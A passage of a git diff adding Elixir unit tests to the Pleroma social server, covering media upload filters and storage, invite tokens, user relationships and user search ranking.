random text", %{upload_file: upload_file} do + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + assert <<_::bytes-size(14)>> <> ".jpg" = name + refute name == "an… image.jpg" + end +end diff --git a/test/pleroma/upload/filter/dedupe_test.exs b/test/pleroma/upload/filter/dedupe_test.exs new file mode 100644 index 000000000..75c7198e1 --- /dev/null +++ b/test/pleroma/upload/filter/dedupe_test.exs @@ -0,0 +1,32 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.Filter.DedupeTest do + use Pleroma.DataCase + + alias Pleroma.Upload + alias Pleroma.Upload.Filter.Dedupe + + @shasum "e30397b58d226d6583ab5b8b3c5defb0c682bda5c31ef07a9f57c1c4986e3781" + + test "adds shasum" do + File.cp!( + "test/fixtures/image.jpg", + "test/fixtures/image_tmp.jpg" + ) + + upload = %Upload{ + name: "an… image.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + assert { + :ok, + :filtered, + %Pleroma.Upload{id: @shasum, path: @shasum <> ".jpg"} + } = Dedupe.filter(upload) + end +end diff --git a/test/pleroma/upload/filter/mogrifun_test.exs b/test/pleroma/upload/filter/mogrifun_test.exs new file mode 100644 index 000000000..dc1e9e78f --- /dev/null +++ b/test/pleroma/upload/filter/mogrifun_test.exs @@ -0,0 +1,44 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.Filter.MogrifunTest do + use Pleroma.DataCase + import Mock + + alias Pleroma.Upload + alias Pleroma.Upload.Filter + + test "apply mogrify filter" do + File.cp!( + "test/fixtures/image.jpg", + "test/fixtures/image_tmp.jpg" + ) + + upload = %Upload{ + name: "an… image.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + task = + Task.async(fn -> + assert_receive {:apply_filter, {}}, 4_000 + end) + + with_mocks([ + {Mogrify, [], + [ + open: fn _f -> %Mogrify.Image{} end, + custom: fn _m, _a -> send(task.pid, {:apply_filter, {}}) end, + custom: fn _m, _a, _o -> send(task.pid, {:apply_filter, {}}) end, + save: fn _f, _o -> :ok end + ]} + ]) do + assert Filter.Mogrifun.filter(upload) == {:ok, :filtered} + end + + Task.await(task) + end +end diff --git a/test/pleroma/upload/filter/mogrify_test.exs b/test/pleroma/upload/filter/mogrify_test.exs new file mode 100644 index 000000000..bf64b96b3 --- /dev/null +++ b/test/pleroma/upload/filter/mogrify_test.exs @@ -0,0 +1,41 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.Filter.MogrifyTest do + use Pleroma.DataCase + import Mock + + alias Pleroma.Upload.Filter + + test "apply mogrify filter" do + clear_config(Filter.Mogrify, args: [{"tint", "40"}]) + + File.cp!( + "test/fixtures/image.jpg", + "test/fixtures/image_tmp.jpg" + ) + + upload = %Pleroma.Upload{ + name: "an… image.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + task = + Task.async(fn -> + assert_receive {:apply_filter, {_, "tint", "40"}}, 4_000 + end) + + with_mock Mogrify, + open: fn _f -> %Mogrify.Image{} end, + custom: fn _m, _a -> :ok end, + custom: fn m, a, o -> send(task.pid, {:apply_filter, {m, a, o}}) end, + save: fn _f, _o -> :ok end do + assert Filter.Mogrify.filter(upload) == {:ok, :filtered} + end + + Task.await(task) + end +end diff --git a/test/pleroma/upload/filter_test.exs b/test/pleroma/upload/filter_test.exs new file mode 100644 index 000000000..352b66402 --- /dev/null +++ b/test/pleroma/upload/filter_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.FilterTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Upload.Filter + + setup do: clear_config([Pleroma.Upload.Filter.AnonymizeFilename, :text]) + + test "applies filters" do + Config.put([Pleroma.Upload.Filter.AnonymizeFilename, :text], "custom-file.png") + + File.cp!( + "test/fixtures/image.jpg", + "test/fixtures/image_tmp.jpg" + ) + + upload = %Pleroma.Upload{ + name: "an… image.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + assert Filter.filter([], upload) == {:ok, upload} + + assert {:ok, upload} = Filter.filter([Pleroma.Upload.Filter.AnonymizeFilename], upload) + assert upload.name == "custom-file.png" + end +end diff --git a/test/pleroma/upload_test.exs b/test/pleroma/upload_test.exs new file mode 100644 index 000000000..b06b54487 --- /dev/null +++ b/test/pleroma/upload_test.exs @@ -0,0 +1,287 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UploadTest do + use Pleroma.DataCase + + import ExUnit.CaptureLog + + alias Pleroma.Upload + alias Pleroma.Uploaders.Uploader + + @upload_file %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "image.jpg" + } + + defmodule TestUploaderBase do + def put_file(%{path: path} = _upload, module_name) do + task_pid = + Task.async(fn -> + :timer.sleep(10) + + {Uploader, path} + |> :global.whereis_name() + |> send({Uploader, self(), {:test}, %{}}) + + assert_receive {Uploader, {:test}}, 4_000 + end) + + Agent.start(fn -> task_pid end, name: module_name) + + :wait_callback + end + end + + describe "Tried storing a file when http callback response success result" do + defmodule TestUploaderSuccess do + def http_callback(conn, _params), + do: {:ok, conn, {:file, "post-process-file.jpg"}} + + def put_file(upload), do: TestUploaderBase.put_file(upload, __MODULE__) + end + + setup do: [uploader: TestUploaderSuccess] + setup [:ensure_local_uploader] + + test "it returns file" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + assert Upload.store(@upload_file) == + {:ok, + %{ + "name" => "image.jpg", + "type" => "Document", + "mediaType" => "image/jpeg", + "url" => [ + %{ + "href" => "http://localhost:4001/media/post-process-file.jpg", + "mediaType" => "image/jpeg", + "type" => "Link" + } + ] + }} + + Task.await(Agent.get(TestUploaderSuccess, fn task_pid -> task_pid end)) + end + end + + describe "Tried storing a file when http callback response error" do + defmodule TestUploaderError do + def http_callback(conn, _params), do: {:error, conn, "Errors"} + + def put_file(upload), do: TestUploaderBase.put_file(upload, __MODULE__) + end + + setup do: [uploader: TestUploaderError] + setup [:ensure_local_uploader] + + test "it returns error" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + assert capture_log(fn -> + assert Upload.store(@upload_file) == {:error, "Errors"} + Task.await(Agent.get(TestUploaderError, fn task_pid -> task_pid end)) + end) =~ + "[error] Elixir.Pleroma.Upload store (using Pleroma.UploadTest.TestUploaderError) failed: \"Errors\"" + end + end + + describe "Tried storing a file when http callback doesn't response by timeout" do + defmodule(TestUploader, do: def(put_file(_upload), do: :wait_callback)) + setup do: [uploader: TestUploader] + setup [:ensure_local_uploader] + + test "it returns error" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + assert capture_log(fn -> + assert Upload.store(@upload_file) == {:error, "Uploader callback timeout"} + end) =~ + "[error] Elixir.Pleroma.Upload store (using Pleroma.UploadTest.TestUploader) failed: \"Uploader callback timeout\"" + end + end + + describe "Storing a file with the Local uploader" do + setup [:ensure_local_uploader] + + test "does not allow descriptions longer than the post limit" do + clear_config([:instance, :description_limit], 2) + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "image.jpg" + } + + {:error, :description_too_long} = Upload.store(file, description: "123") + end + + test "returns a media url" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "image.jpg" + } + + {:ok, data} = Upload.store(file) + + assert %{"url" => [%{"href" => url}]} = data + + assert String.starts_with?(url, Pleroma.Web.base_url() <> "/media/") + end + + test "copies the file to the configured folder with deduping" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image.jpg" + } + + {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe]) + + assert List.first(data["url"])["href"] == + Pleroma.Web.base_url() <> + "/media/e30397b58d226d6583ab5b8b3c5defb0c682bda5c31ef07a9f57c1c4986e3781.jpg" + end + + test "copies the file to the configured folder without deduping" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image.jpg" + } + + {:ok, data} = Upload.store(file) + assert data["name"] == "an [image.jpg" + end + + test "fixes incorrect content type" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "application/octet-stream", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image.jpg" + } + + {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe]) + assert hd(data["url"])["mediaType"] == "image/jpeg" + end + + test "adds missing extension" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image" + } + + {:ok, data} = Upload.store(file) + assert data["name"] == "an [image.jpg" + end + + test "fixes incorrect file extension" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image.blah" + } + + {:ok, data} = Upload.store(file) + assert data["name"] == "an [image.jpg" + end + + test "don't modify filename of an unknown type" do + File.cp("test/fixtures/test.txt", "test/fixtures/test_tmp.txt") + + file = %Plug.Upload{ + content_type: "text/plain", + path: Path.absname("test/fixtures/test_tmp.txt"), + filename: "test.txt" + } + + {:ok, data} = Upload.store(file) + assert data["name"] == "test.txt" + end + + test "copies the file to the configured folder with anonymizing filename" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image.jpg" + } + + {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.AnonymizeFilename]) + + refute data["name"] == "an [image.jpg" + end + + test "escapes invalid characters in url" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an… image.jpg" + } + + {:ok, data} = Upload.store(file) + [attachment_url | _] = data["url"] + + assert Path.basename(attachment_url["href"]) == "an%E2%80%A6%20image.jpg" + end + + test "escapes reserved uri characters" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: ":?#[]@!$&\\'()*+,;=.jpg" + } + + {:ok, data} = Upload.store(file) + [attachment_url | _] = data["url"] + + assert Path.basename(attachment_url["href"]) == + "%3A%3F%23%5B%5D%40%21%24%26%5C%27%28%29%2A%2B%2C%3B%3D.jpg" + end + end + + describe "Setting a custom base_url for uploaded media" do + setup do: clear_config([Pleroma.Upload, :base_url], "https://cache.pleroma.social") + + test "returns a media url with configured base_url" do + base_url = Pleroma.Config.get([Pleroma.Upload, :base_url]) + + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "image.jpg" + } + + {:ok, data} = Upload.store(file, base_url: base_url) + + assert %{"url" => [%{"href" => url}]} = data + + refute String.starts_with?(url, base_url <> "/media/") + end + end +end diff --git a/test/pleroma/uploaders/local_test.exs b/test/pleroma/uploaders/local_test.exs new file mode 100644 index 000000000..18122ff6c --- /dev/null +++ b/test/pleroma/uploaders/local_test.exs @@ -0,0 +1,55 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Uploaders.LocalTest do + use Pleroma.DataCase + alias Pleroma.Uploaders.Local + + describe "get_file/1" do + test "it returns path to local folder for files" do + assert Local.get_file("") == {:ok, {:static_dir, "test/uploads"}} + end + end + + describe "put_file/1" do + test "put file to local folder" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + file_path = "local_upload/files/image.jpg" + + file = %Pleroma.Upload{ + name: "image.jpg", + content_type: "image/jpg", + path: file_path, + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + assert Local.put_file(file) == :ok + + assert Path.join([Local.upload_path(), file_path]) + |> File.exists?() + end + end + + describe "delete_file/1" do + test "deletes local file" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + file_path = "local_upload/files/image.jpg" + + file = %Pleroma.Upload{ + name: "image.jpg", + content_type: "image/jpg", + path: file_path, + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + :ok = Local.put_file(file) + local_path = Path.join([Local.upload_path(), file_path]) + assert File.exists?(local_path) + + Local.delete_file(file_path) + + refute File.exists?(local_path) + end + end +end diff --git a/test/pleroma/uploaders/s3_test.exs b/test/pleroma/uploaders/s3_test.exs new file mode 100644 index 000000000..d949c90a5 --- /dev/null +++ b/test/pleroma/uploaders/s3_test.exs @@ -0,0 +1,88 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Uploaders.S3Test do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Uploaders.S3 + + import Mock + import ExUnit.CaptureLog + + setup do: + clear_config(Pleroma.Uploaders.S3, + bucket: "test_bucket", + public_endpoint: "https://s3.amazonaws.com" + ) + + describe "get_file/1" do + test "it returns path to local folder for files" do + assert S3.get_file("test_image.jpg") == { + :ok, + {:url, "https://s3.amazonaws.com/test_bucket/test_image.jpg"} + } + end + + test "it returns path without bucket when truncated_namespace set to ''" do + Config.put([Pleroma.Uploaders.S3], + bucket: "test_bucket", + public_endpoint: "https://s3.amazonaws.com", + truncated_namespace: "" + ) + + assert S3.get_file("test_image.jpg") == { + :ok, + {:url, "https://s3.amazonaws.com/test_image.jpg"} + } + end + + test "it returns path with bucket namespace when namespace is set" do + Config.put([Pleroma.Uploaders.S3], + bucket: "test_bucket", + public_endpoint: "https://s3.amazonaws.com", + bucket_namespace: "family" + ) + + assert S3.get_file("test_image.jpg") == { + :ok, + {:url, "https://s3.amazonaws.com/family:test_bucket/test_image.jpg"} + } + end + end + + describe "put_file/1" do + setup do + file_upload = %Pleroma.Upload{ + name: "image-tet.jpg", + content_type: "image/jpg", + path: "test_folder/image-tet.jpg", + tempfile: Path.absname("test/instance_static/add/shortcode.png") + } + + [file_upload: file_upload] + end + + test "save file", %{file_upload: file_upload} do + with_mock ExAws, request: fn _ -> {:ok, :ok} end do + assert S3.put_file(file_upload) == {:ok, {:file, "test_folder/image-tet.jpg"}} + end + end + + test "returns error", %{file_upload: file_upload} do + with_mock ExAws, request: fn _ -> {:error, "S3 Upload failed"} end do + assert capture_log(fn -> + assert S3.put_file(file_upload) == {:error, "S3 Upload failed"} + end) =~ "Elixir.Pleroma.Uploaders.S3: {:error, \"S3 Upload failed\"}" + end + end + end + + describe "delete_file/1" do + test_with_mock "deletes file", ExAws, request: fn _req -> {:ok, %{status_code: 204}} end do + assert :ok = S3.delete_file("image.jpg") + assert_called(ExAws.request(:_)) + end + end +end diff --git a/test/pleroma/user/notification_setting_test.exs b/test/pleroma/user/notification_setting_test.exs new file mode 100644 index 000000000..308da216a --- /dev/null +++ b/test/pleroma/user/notification_setting_test.exs @@ -0,0 +1,21 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.NotificationSettingTest do + use Pleroma.DataCase + + alias Pleroma.User.NotificationSetting + + describe "changeset/2" do + test "sets option to hide notification contents" do + changeset = + NotificationSetting.changeset( + %NotificationSetting{}, + %{"hide_notification_contents" => true} + ) + + assert %Ecto.Changeset{valid?: true} = changeset + end + end +end diff --git a/test/pleroma/user_invite_token_test.exs b/test/pleroma/user_invite_token_test.exs new file mode 100644 index 000000000..63f18f13c --- /dev/null +++ b/test/pleroma/user_invite_token_test.exs @@ -0,0 +1,96 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UserInviteTokenTest do + use ExUnit.Case, async: true + alias Pleroma.UserInviteToken + + describe "valid_invite?/1 one time invites" do + setup do + invite = %UserInviteToken{invite_type: "one_time"} + + {:ok, invite: invite} + end + + test "not used returns true", %{invite: invite} do + invite = %{invite | used: false} + assert UserInviteToken.valid_invite?(invite) + end + + test "used returns false", %{invite: invite} do + invite = %{invite | used: true} + refute UserInviteToken.valid_invite?(invite) + end + end + + describe "valid_invite?/1 reusable invites" do + setup do + invite = %UserInviteToken{ + invite_type: "reusable", + max_use: 5 + } + + {:ok, invite: invite} + end + + test "with less uses then max use returns true", %{invite: invite} do + invite = %{invite | uses: 4} + assert UserInviteToken.valid_invite?(invite) + end + + test "with equal or more uses then max use returns false", %{invite: invite} do + invite = %{invite | uses: 5} + + refute UserInviteToken.valid_invite?(invite) + + invite = %{invite | uses: 6} + + refute UserInviteToken.valid_invite?(invite) + end + end + + describe "valid_token?/1 date limited invites" do + setup do + invite = %UserInviteToken{invite_type: "date_limited"} + {:ok, invite: invite} + end + + test "expires today returns true", %{invite: invite} do + invite = %{invite | expires_at: Date.utc_today()} + assert UserInviteToken.valid_invite?(invite) + end + + test "expires yesterday returns false", %{invite: invite} do + invite = %{invite | expires_at: Date.add(Date.utc_today(), -1)} + refute UserInviteToken.valid_invite?(invite) + end + end + + describe "valid_token?/1 reusable date limited invites" do + setup do + invite = %UserInviteToken{invite_type: "reusable_date_limited", max_use: 5} + {:ok, invite: invite} + end + + test "not overdue date and less uses returns true", %{invite: invite} do + invite = %{invite | expires_at: Date.utc_today(), uses: 4} + assert UserInviteToken.valid_invite?(invite) + end + + test "overdue date and less uses returns false", %{invite: invite} do + invite = %{invite | expires_at: Date.add(Date.utc_today(), -1)} + refute UserInviteToken.valid_invite?(invite) + end + + test "not overdue date with more uses returns false", %{invite: invite} do + invite = %{invite | expires_at: Date.utc_today(), uses: 5} + refute UserInviteToken.valid_invite?(invite) + end + + test "overdue date with more uses returns false", %{invite: invite} do + invite = %{invite | expires_at: Date.add(Date.utc_today(), -1), uses: 5} + refute UserInviteToken.valid_invite?(invite) + end + end +end diff --git a/test/pleroma/user_relationship_test.exs b/test/pleroma/user_relationship_test.exs new file mode 100644 index 000000000..f12406097 --- /dev/null +++ b/test/pleroma/user_relationship_test.exs @@ -0,0 +1,130 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UserRelationshipTest do + alias Pleroma.UserRelationship + + use Pleroma.DataCase + + import Pleroma.Factory + + describe "*_exists?/2" do + setup do + {:ok, users: insert_list(2, :user)} + end + + test "returns false if record doesn't exist", %{users: [user1, user2]} do + refute UserRelationship.block_exists?(user1, user2) + refute UserRelationship.mute_exists?(user1, user2) + refute UserRelationship.notification_mute_exists?(user1, user2) + refute UserRelationship.reblog_mute_exists?(user1, user2) + refute UserRelationship.inverse_subscription_exists?(user1, user2) + end + + test "returns true if record exists", %{users: [user1, user2]} do + for relationship_type <- [ + :block, + :mute, + :notification_mute, + :reblog_mute, + :inverse_subscription + ] do + insert(:user_relationship, + source: user1, + target: user2, + relationship_type: relationship_type + ) + end + + assert UserRelationship.block_exists?(user1, user2) + assert UserRelationship.mute_exists?(user1, user2) + assert UserRelationship.notification_mute_exists?(user1, user2) + assert UserRelationship.reblog_mute_exists?(user1, user2) + assert UserRelationship.inverse_subscription_exists?(user1, user2) + end + end + + describe "create_*/2" do + setup do + {:ok, users: insert_list(2, :user)} + end + + test "creates user relationship record if it doesn't exist", %{users: [user1, user2]} do + for relationship_type <- [ + :block, + :mute, + :notification_mute, + :reblog_mute, + :inverse_subscription + ] do + insert(:user_relationship, + source: user1, + target: user2, + relationship_type: relationship_type + ) + end + + UserRelationship.create_block(user1, user2) + UserRelationship.create_mute(user1, user2) + UserRelationship.create_notification_mute(user1, user2) + UserRelationship.create_reblog_mute(user1, user2) + UserRelationship.create_inverse_subscription(user1, user2) + + assert UserRelationship.block_exists?(user1, user2) + assert UserRelationship.mute_exists?(user1, user2) + assert UserRelationship.notification_mute_exists?(user1, user2) + assert UserRelationship.reblog_mute_exists?(user1, user2) + assert UserRelationship.inverse_subscription_exists?(user1, user2) + end + + test "if record already exists, returns it", %{users: [user1, user2]} do + user_block = UserRelationship.create_block(user1, user2) + assert user_block == UserRelationship.create_block(user1, user2) + end + end + + describe "delete_*/2" do + setup do + {:ok, users: insert_list(2, :user)} + end + + test "deletes user relationship record if it exists", %{users: [user1, user2]} do + for relationship_type <- [ + :block, + :mute, + :notification_mute, + :reblog_mute, + :inverse_subscription + ] do + insert(:user_relationship, + source: user1, + target: user2, + relationship_type: relationship_type + ) + end + + assert {:ok, %UserRelationship{}} = UserRelationship.delete_block(user1, user2) + assert {:ok, %UserRelationship{}} = UserRelationship.delete_mute(user1, user2) + assert {:ok, %UserRelationship{}} = UserRelationship.delete_notification_mute(user1, user2) + assert {:ok, %UserRelationship{}} = UserRelationship.delete_reblog_mute(user1, user2) + + assert {:ok, %UserRelationship{}} = + UserRelationship.delete_inverse_subscription(user1, user2) + + refute UserRelationship.block_exists?(user1, user2) + refute UserRelationship.mute_exists?(user1, user2) + refute UserRelationship.notification_mute_exists?(user1, user2) + refute UserRelationship.reblog_mute_exists?(user1, user2) + refute UserRelationship.inverse_subscription_exists?(user1, user2) + end + + test "if record does not exist, returns {:ok, nil}", %{users: [user1, user2]} do + assert {:ok, nil} = UserRelationship.delete_block(user1, user2) + assert {:ok, nil} = UserRelationship.delete_mute(user1, user2) + assert {:ok, nil} = UserRelationship.delete_notification_mute(user1, user2) + assert {:ok, nil} = UserRelationship.delete_reblog_mute(user1, user2) + assert {:ok, nil} = UserRelationship.delete_inverse_subscription(user1, user2) + end + end +end diff --git a/test/pleroma/user_search_test.exs b/test/pleroma/user_search_test.exs new file mode 100644 index 000000000..c4b805005 --- /dev/null +++ b/test/pleroma/user_search_test.exs @@ -0,0 +1,362 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UserSearchTest do + alias Pleroma.Repo + alias Pleroma.User + use Pleroma.DataCase + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "User.search" do + setup do: clear_config([:instance, :limit_to_local_content]) + + test "returns a resolved user as the first result" do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/users/lain", resolve: true) + + assert first_user.id == user.id + end + + test "returns a user with matching ap_id as the first result" do + user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/users/lain") + + assert first_user.id == user.id + end + + test "doesn't die if two users have the same uri" do + insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) + insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) + assert [_first_user, _second_user] = User.search("https://gensokyo.2hu/@raymoo") + end + + test "returns a user with matching uri as the first result" do + user = + insert(:user, %{ + nickname: "no_relation", + ap_id: "https://lain.com/users/lain", + uri: "https://lain.com/@lain" + }) + + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/@lain") + + assert first_user.id == user.id + end + + test "excludes invisible users from results" do + user = insert(:user, %{nickname: "john t1000"}) + insert(:user, %{invisible: true, nickname: "john t800"}) + + [found_user] = User.search("john") + assert found_user.id == user.id + end + + test "excludes users when discoverable is false" do + insert(:user, %{nickname: "john 3000", discoverable: false}) + insert(:user, %{nickname: "john 3001"}) + + users = User.search("john") + assert Enum.count(users) == 1 + end + + test "excludes service actors from results" do + insert(:user, actor_type: "Application", nickname: "user1") + service = insert(:user, actor_type: "Service", nickname: "user2") + person = insert(:user, actor_type: "Person", nickname: "user3") + + assert [found_user1, found_user2] = User.search("user") + assert [found_user1.id, found_user2.id] -- [service.id, person.id] == [] + end + + test "accepts limit parameter" do + Enum.each(0..4, &insert(:user, %{nickname: "john#{&1}"})) + assert length(User.search("john", limit: 3)) == 3 + assert length(User.search("john")) == 5 + end + + test "accepts offset parameter" do + Enum.each(0..4, &insert(:user, %{nickname: "john#{&1}"})) + assert length(User.search("john", limit: 3)) == 3 + assert length(User.search("john", limit: 3, offset: 3)) == 2 + end + + defp clear_virtual_fields(user) do + Map.merge(user, %{search_rank: nil, search_type: nil}) + end + + test "finds a user by full nickname or its leading fragment" do + user = insert(:user, %{nickname: "john"}) + + Enum.each(["john", "jo", "j"], fn query -> + assert user == + User.search(query) + |> List.first() + |> clear_virtual_fields() + end) + end + + test "finds a user by full name or leading fragment(s) of its words" do + user = insert(:user, %{name: "John Doe"}) + + Enum.each(["John Doe", "JOHN", "doe", "j d", "j", "d"], fn query -> + assert user == + User.search(query) + |> List.first() + |> clear_virtual_fields() + end) + end + + test "matches by leading fragment of user domain" do + user = insert(:user, %{nickname: "arandom@dude.com"}) + insert(:user, %{nickname: "iamthedude"}) + + assert [user.id] == User.search("dud") |> Enum.map(& &1.id) + end + + test "ranks full nickname match higher than full name match" do + nicknamed_user = insert(:user, %{nickname: "hj@shigusegubu.club"}) + named_user = insert(:user, %{nickname: "xyz@sample.com", name: "HJ"}) + + results = User.search("hj") + + assert [nicknamed_user.id, named_user.id] == Enum.map(results, & &1.id) + assert Enum.at(results, 0).search_rank > Enum.at(results, 1).search_rank + end + + test "finds users, considering density of matched tokens" do + u1 = insert(:user, %{name: "Bar Bar plus Word Word"}) + u2 = insert(:user, %{name: "Word Word Bar Bar Bar"}) + + assert [u2.id, u1.id] == Enum.map(User.search("bar word"), & &1.id) + end + + test "finds users, boosting ranks of friends and followers" do + u1 = insert(:user) + u2 = insert(:user, %{name: "Doe"}) + follower = insert(:user, %{name: "Doe"}) + friend = insert(:user, %{name: "Doe"}) + + {:ok, follower} = User.follow(follower, u1) + {:ok, u1} = User.follow(u1, friend) + + assert [friend.id, follower.id, u2.id] -- + Enum.map(User.search("doe", resolve: false, for_user: u1), & &1.id) == [] + end + + test "finds followings of user by partial name" do + lizz = insert(:user, %{name: "Lizz"}) + jimi = insert(:user, %{name: "Jimi"}) + following_lizz = insert(:user, %{name: "Jimi Hendrix"}) + following_jimi = insert(:user, %{name: "Lizz Wright"}) + follower_lizz = insert(:user, %{name: "Jimi"}) + + {:ok, lizz} = User.follow(lizz, following_lizz) + {:ok, _jimi} = User.follow(jimi, following_jimi) + {:ok, _follower_lizz} = User.follow(follower_lizz, lizz) + + assert Enum.map(User.search("jimi", following: true, for_user: lizz), & &1.id) == [ + following_lizz.id + ] + + assert User.search("lizz", following: true, for_user: lizz) == [] + end + + test "find local and remote users for authenticated users" do + u1 = insert(:user, %{name: "lain"}) + u2 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) + u3 = insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) + + results = + "lain" + |> User.search(for_user: u1) + |> Enum.map(& &1.id) + |> Enum.sort() + + assert [u1.id, u2.id, u3.id] == results + end + + test "find only local users for unauthenticated users" do + %{id: id} = insert(:user, %{name: "lain"}) + insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) + insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) + + assert [%{id: ^id}] = User.search("lain") + end + + test "find only local users for authenticated users when `limit_to_local_content` is `:all`" do + Pleroma.Config.put([:instance, :limit_to_local_content], :all) + + %{id: id} = insert(:user, %{name: "lain"}) + insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) + insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) + + assert [%{id: ^id}] = User.search("lain") + end + + test "find all users for unauthenticated users when `limit_to_local_content` is `false`" do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + + u1 = insert(:user, %{name: "lain"}) + u2 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) + u3 = insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) + + results = + "lain" + |> User.search() + |> Enum.map(& &1.id) + |> Enum.sort() + + assert [u1.id, u2.id, u3.id] == results + end + + test "does not 